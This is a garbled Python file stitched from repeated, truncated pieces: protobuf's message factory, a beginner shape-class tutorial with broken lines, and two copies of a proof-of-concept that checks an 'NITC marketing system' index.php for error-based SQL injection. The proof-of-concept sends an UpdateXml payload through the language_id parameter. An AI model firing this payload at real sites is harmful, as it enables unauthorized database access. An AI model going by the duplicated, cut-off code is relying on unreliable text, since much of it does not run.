        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return result

_FACTORY = MessageFactory()

def GetMessages(file_protos):
  """Builds a dictionary of all the messages available in a set of files.

  Args:
    file_protos: A sequence of file protos to build messages out of.

  Returns:
    A dictionary mapping proto names to the message classes. This will include
    any dependent messages as well as any messages defined in the same file as
    a specified message.
  """
  for file_proto in file_protos:
    _FACTORY.pool.Add(file_proto)
  return _FACTORY.GetMessages([file_proto.name for file_proto in file_protos])


"""Builds a dictionary of all the messages available in a set of files.

  Args:
    file_protos: A sequence of file protos to build messages out of.

  Returns:
    A dictionary mapping proto names to the message classes. This will include
    any dependent messages as well as any messages defined in the same file as
    a specified message.
  """
  for file_proto in file_protos:
    _FACTORY.pool.Add(file_proto)
  return _FACTORY.GetMessages([file_proto.name for file_proto in file_protos])

# Protocol Buffers - Google's data interchange format

"""Provides a factory class for generating dynamic messages.

The easiest way to use this class is if you have access to the FileDescriptor
protos containing the messages you want to create you can just do the following:

message_classes = message_factory.GetMessages(iterable_of_file_descriptors)
my_proto_instance = message_classes['some.proto.package.MessageName']()
"""

__author__ = 'example@nnthink.com (Matt Toia)'

from google.protobuf import descriptor_pool
from google.protobuf import message
from google.protobuf import reflection

class MessageFactory(object):
  """Factory for creating Proto2 messages from descriptors in a pool."""

  def __init__(self, pool=None):
    """Initializes a new factory."""
    self.pool = pool or descriptor_pool.DescriptorPool()

    # local cache of all classes built from protobuf descriptors
    self._classes = {}

  def GetPrototype(self, descriptor):
    """Builds a proto2 message class based on the passed in descriptor.

    Passing a descriptor with a fully qualified name matching a previous
    invocation will cause the same class to be returned.

    Args:
      descriptor: The descriptor to build from.

    Returns:
      A class describing the passed in descriptor.
    """
    if descriptor.full_name not in self._classes:
      descriptor_name = descriptor.name
      if str is bytes:  # PY2
        descriptor_name = descriptor.name.encode('ascii', 'ignore')
      result_class = reflection.GeneratedProtocolMessageType(
          descriptor_name,
          (message.Message,),
          {'DESCRIPTOR': descriptor, '__module__': None})
          # If module not set, it wrongly points to the reflection.py module.
      self._classes[descriptor.full_name] = result_class
      for field in descriptor.fields:
        if field.message_type:
          self.GetPrototype(field.message_type)
      for extension in result_class.DESCRIPTOR.extensions:
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return self._classes[descriptor.full_name]

  def GetMessages(self, files):
    """Gets all the messages from a specified file.

    This will find and resolve dependencies, failing if the descriptor
    pool cannot satisfy them.

    Args:
      files: The file names to extract messages from.

    Returns:
      A dictionary mapping proto names to the message classes. This will include
      any dependent messages as well as any messages defined in the same file as
      a specified message.
    """
    result = {}
    for file_name in files:
      file_desc = self.pool.FindFileByName(file_name)
      for desc in file_desc.message_types_by_name.values():
        result[desc.full_name] = self.GetPrototype(desc)

      # While the extension FieldDescriptors are created by the descriptor pool,
      # the python classes created in the factory need them to be registered
      # explicitly, which is done below.
      # The call to RegisterExtension will specifically check if the
      # extension was already registered on the object and either
      # ignore the registration if the original was the same, or raise
      # an error if they were different.

      for extension in file_desc.extensions_by_name.values():
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return result

_FACTORY = MessageFactory()

def GetMessages(file_protos):


# Protocol Buffers - Google's data interchange format

"""Provides a factory class for generating dynamic messages.

The easiest way to use this class is if you have access to the FileDescriptor
protos containing the messages you want to create you can just do the following:

message_classes = message_factory.GetMessages(iterable_of_file_descriptors)
my_proto_instance = message_classes['some.proto.package.MessageName']()
"""

__author__ = 'example@nnthink.com (Matt Toia)'

from google.protobuf import descriptor_pool
from google.protobuf import message
from google.protobuf import reflection

class MessageFactory(object):
  """Factory for creating Proto2 messages from descriptors in a pool."""

  def __init__(self, pool=None):
    """Initializes a new factory."""
    self.pool = pool or descriptor_pool.DescriptorPool()

    # local cache of all classes built from protobuf descriptors
    self._classes = {}

  def GetPrototype(self, descriptor):
    """Builds a proto2 message class based on the passed in descriptor.

    Passing a descriptor with a fully qualified name matching a previous
    invocation will cause the same class to be returned.

    Args:
      descriptor: The descriptor to build from.

    Returns:
      A class describing the passed in descriptor.
    """
    if descriptor.full_name not in self._classes:
      descriptor_name = descriptor.name
      if str is bytes:  # PY2
        descriptor_name = descriptor.name.encode('ascii', 'ignore')
      result_class = reflection.GeneratedProtocolMessageType(
          descriptor_name,
          (message.Message,),
          {'DESCRIPTOR': descriptor, '__module__': None})
          # If module not set, it wrongly points to the reflection.py module.
      self._classes[descriptor.full_name] = result_class
      for field in descriptor.fields:
        if field.message_type:
          self.GetPrototype(field.message_type)
      for extension in result_class.DESCRIPTOR.extensions:
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return self._classes[descriptor.full_name]

  def GetMessages(self, files):
    """Gets all the messages from a specified file.

    This will find and resolve dependencies, failing if the descriptor
    pool cannot satisfy them.

    Args:
      files: The file names to extract messages from.

    Returns:
      A dictionary mapping proto names to the message classes. This will include
      any dependent messages as well as any messages defined in the same file as
      a specified message.
    """
    result = {}
    for file_name in files:
      file_desc = self.pool.FindFileByName(file_name)
      for desc in file_desc.message_types_by_name.values():
        result[desc.full_name] = self.GetPrototype(desc)

      # While the extension FieldDescriptors are created by the descriptor pool,
      # the python classes created in the factory need them to be registered
      # explicitly, which is done below.
      # The call to RegisterExtension will specifically check if the
      # extension was already registered on the object and either
      # ignore the registration if the original was the same, or raise
      # an error if they were different.

      for extension in file_desc.extensions_by_name.values():
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    ret

_FACTORY = MessageFactory()

def GetMessages(file_protos):
  """Builds a dictionary of all the messages available in a set of files.

  Args:
    file_protos: A sequence of file protos to build messages out of.

  Returns:
    A dictionary mapping proto names to the message classes. This will include
    any dependent messages as well as any messages defined in the same file as
    a specified message.
  """
  for file_proto in file_protos:
    _FACTORY.pool.Add(file_proto)
  return _FACTORY.GetMessages([file_proto.name for file_proto in file_protos])


    self.pool = pool or descriptor_pool.DescriptorPool()

    # local cache of all classes built from protobuf descriptors
    self._classes = {}

# Protocol Buffers - Google's data interchange format

"""Provides a factory class for generating dynamic messages.

The easiest way to use this class is if you have access to the FileDescriptor
protos containing the messages you want to create you can just do the following:

message_classes = message_factory.GetMessages(iterable_of_file_descriptors)
my_proto_instance = message_classes['some.proto.package.MessageName']()
"""

__author__ = 'example@nnthink.com (Matt Toia)'

from google.protobuf import descriptor_pool
from google.protobuf import message
from google.protobuf import reflection

class MessageFactory(object):
  """Factory for creating Proto2 messages from descriptors in a pool."""

  def __init__(self, pool=None):
    """Initializes a new factory."""

  def GetPrototype(self, descriptor):
    """Builds a proto2 message class based on the passed in descriptor.

    Passing a descriptor with a fully qualified name matching a previous
    invocation will cause the same class to be returned.

    Args:
      descriptor: The descriptor to build from.

    Returns:
      A class describing the passed in descriptor.
    """
    if descriptor.full_name not in self._classes:
      descriptor_name = descriptor.name
      if str is bytes:  # PY2
        descriptor_name = descriptor.name.encode('ascii', 'ignore')
      result_class = reflection.GeneratedProtocolMessageType(
          descriptor_name,
          (message.Message,),
          {'DESCRIPTOR': descriptor, '__module__': None})
          # If module not set, it wrongly points to the reflection.py module.
      self._classes[descriptor.full_name] = result_class
      for field in descriptor.fields:
        if field.message_type:
          self.GetPrototype(field.message_type)
      for extension in result_class.DESCRIPTOR.extensions:
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return self._classes[descriptor.full_name]

  def GetMessages(self, files):
    """Gets all the messages from a specified file.

    This will find and resolve dependencies, failing if the descriptor
    pool cannot satisfy them.

    Args:
      files: The file names to extract messages from.

    Returns:
      A dictionary mapping proto names to the message classes. This will include
      any dependent messages as well as any messages defined in the same file as
      a specified message.
    """
    result = {}
    for file_name in files:
      file_desc = self.pool.FindFileByName(file_name)
      for desc in file_desc.message_types_by_name.values():
        result[desc.full_name] = self.GetPrototype(desc)

      # While the extension FieldDescriptors are created by the descriptor pool,
      # the python classes created in the factory need them to be registered
      # explicitly, which is done below.
      # The call to RegisterExtension will specifically check if the
      # extension was already registered on the object and either
      # ignore the registration if the original was the same, or raise
      # an error if they were different.

      for extension in file_desc.extensions_by_name.values():
        if extension.containing_type.full_name not in self._classes:
          self.GetPrototype(extension.containing_type)
        extended_class = self._classes[extension.containing_type.full_name]
        extended_class.RegisterExtension(extension)
    return result

_FACTORY = MessageFactory()

def GetMessages(file_protos):
  """Builds a dictionary of all the messages available in a set of files.

  Args:
    file_protos: A sequence of file protos to build messages out of.

  Returns:
    A dictionary mapping proto names to the message classes. This will include
    any dependent messages as well as any messages defined in the same file as
    a specified message.
  """
  for file_proto in file_protos:
    _FACTORY.pool.Add(file_proto)
  return _FACTORY.GetMessages([file_proto.name for file_proto in file_protos])


class Shape():

    def __init__(self):
        print('Shape created')

    def draw(self):
        print('Drawing a shape')

    def area(self):
        print('calc area')

    def perimeter(self):
        print('calc perimeter')

shape = Shape()

class Rectangle(Shape):

    def __init__(self, width, height):
        Shape.__init__(self)

        self.width = width
        self.height = height

        print('Rectangle created')

    def draw(self):
        print(f'Drawing rectangle with width={self.width} and height={self.height}')

    def area(self):
        return self.width * self.height

return 2*(self.width + self.height)

rect = Rectangle()

rect = Rectangle(10,15)

print(rect.area())

print(rect.perimeter())

rect.draw()

import math
class Triangle(Shape):

    def __init__(self, a, b, c):
        Shape.__init__(self)

        self.a = a
        self.b = b
        self.c = c

        print('Triangle created')

    def draw(self):
        print(f'Drawing triangle with sides={self.a},{self.b},{self.c}')

    def area(self):
        s = (self.a+self.b+self.c)/2
        return math.sqrt(s*(s-self.a)*(s-self.b)*(s-self.c))

    def perimeter(self):
        return self.a+self.b+self.c

triangle = Triangle(10,10,10)

triangle.draw()
print(triangle.area())
print(triangle.perimeter())

for shape in [rect, triangle]:
    shape.draw()

class Shape():

    def __init__(self):
        print('Shape created')

    def draw(self):
        raise NotImplementedError("Can't instantiate an abstract class")

    def area(self):
        raise NotImplementedError("Can't calc area of an abstract class")

    def perimeter(self):
        raise NotImplementedError("Can't calc perimeter of an abstract class")

shape = Shape()

shape.draw()


    def area(self):
        print('calc area')

    def perimeter(self):
        print('calc perimeter')

shape = Shape()

class Rectangle(Shape):

    def __init__(self, width, height):
        Shape.__init__(self)

        self.width = width
        self.height = height

        print('Rectangle created')

    def draw(self):
        print(f'Drawing rectangle with width={self.width} and height={self.height}')

    def area(self):
        return self.width * self.height

    def perimeter(self):
        return 2*(self.width + self.height)

rect = Rectangle()

rect = Rectangle(10,15)

print(rect.area())

print(rect.perimeter())

rect.draw()

import math
class Triangle(Shape):

    def __init__(self, a, b, c):
        Shape.__init__(self)

        self.a = a
        self.b = b
        self.c = c

        print('Triangle created')

    def draw(self):
        print(f'Drawing triangle with sides={self.a},{self.b},{self.c}')

    def area(self):
        s = (self.a+self.b+self.c)/2
        return math.sqrt(s*(s-self.a)*(s-self.b)*(s-self.c))

    def perimeter(self):
        return self.a+self.b+self.c

triangle = Triangle(10,10,10)

triangle.draw()
print(triangle.area())
print(triangle.perimeter())

for shape in [rect, triangle]:
    shape.draw()

class Shape():

    def __init__(self):
        print('Shape created')

    def draw(self):
        raise NotImplementedError("Can't instantiate an abstract class")

    def area(self):
        raise NotImplementedError("Can't calc area of an abstract class")

    def perimeter(self):
        raise NotImplementedError("Can't calc perimeter of an abstract class")

shape = Shape()

shape.draw()


class Shape():

    def __init__(self):
        print('Shape created')

    def draw(self):
        print('Drawing a shape')

    def area(self):
        print('calc area')

    def perimeter(self):
        print(

shape = Shape()

class Rectangle(Shape):

    def __init__(self, width, height):
        Shape.__init__(self)

        self.width = width
        self.height = height

        print('Rectangle created')

    def draw(self):
        print(f'Drawing rectangle with width={self.width} and height={self.height}')

    def area(self):
        return self.width * self.height

    def perimeter(self):
        return 2*(self.width + self.height)

rect = Rectangle()

rect = Rectangle(10,15)

print(rect.area())

print(rect.perimeter())

rect.draw()

import math
class Triangle(Shape):

    def __init__(self, a, b, c):
        Shape.__init__(self)

        self.a = a
        self.b = b
        self.c = c

        print('Triangle created')

    def draw(self):
        print(f'Drawing triangle with sides={self.a},{self.b},{self.c}')

    def area(self):
        s = (self.a+self.b+self.c)/2
        return math.sqrt(s*(s-self.a)*(s-self.b)*(s-self.c))

    def perimeter(self):
        return self.a+self.b+self.c

triangle = Triangle(10,10,10)

triangle.draw()
print(triangle.area())
print(triangle.perimeter())

for shape in [rect, triangle]:
    shape.draw()

class Shape():

    def __init__(self):
        print('Shape created')

    def draw(self):
        raise NotImplementedError("Can't instantiate an abstract class")

    def area(self):
        raise NotImplementedError("Can't calc area of an abstract class")

    def perimeter(self):
        raise NotImplementedError("Can't calc perimeter of an abstract class")

shape = Shape()

shape.draw()


'''
name: NITC营销系统index.php SQL注入
referer: http://example.com
author: Lucifer
description: 文件/index.php中,参数language_id存在SQL注入。
'''
import sys
import requests

class nitc_index_language_id_sqli_BaseVerify:

self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/index.php?language_id=1%20Or%20UpDateXml(1,CoNcAt(0x5c,Md5(1234)),1)%23--&is_protect=1&action=test"
        vulnurl = self.url + payload
        try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
            if r"81dc9bdb52d04dc20036dbd8313ed05" in req.text:
                return "[+]存在NITC营销系统index.php SQL注入漏洞...(高危)\tpayload: "+vulnurl

        except:
            return "[-]connect timeout"

if __name__ == "__main__":

    testVuln = nitc_index_language_id_sqli_BaseVerify(sys.argv[1])
    testVuln.run()


'''
name: NITC营销系统index.php SQL注入
referer: http://example.com
author: Lucifer
description: 文件/index.php中,参数language_id存在SQL注入。
'''
import sys
import requests

class nitc_index_language_id_sqli_BaseVerify:
    def __init__(self, url):

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/index.php?language_id=1%20Or%20UpDateXml(1,CoNcAt(0x5c,Md5(1234)),1)%23--&is_protect=1&action=test"
        vulnurl = self.url + payload
        try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
            if r"81dc9bdb52d04dc20036dbd8313ed05" in req.text:
                return "[+]存在NITC营销系统index.php SQL注入漏洞...(高危)\tpayload: "+vulnurl

        except:
            return "[-]connect timeout"

if __name__ == "__main__":

    testVuln = nitc_index_language_id_sqli_BaseVerify(sys.argv[1])
    testVuln.run()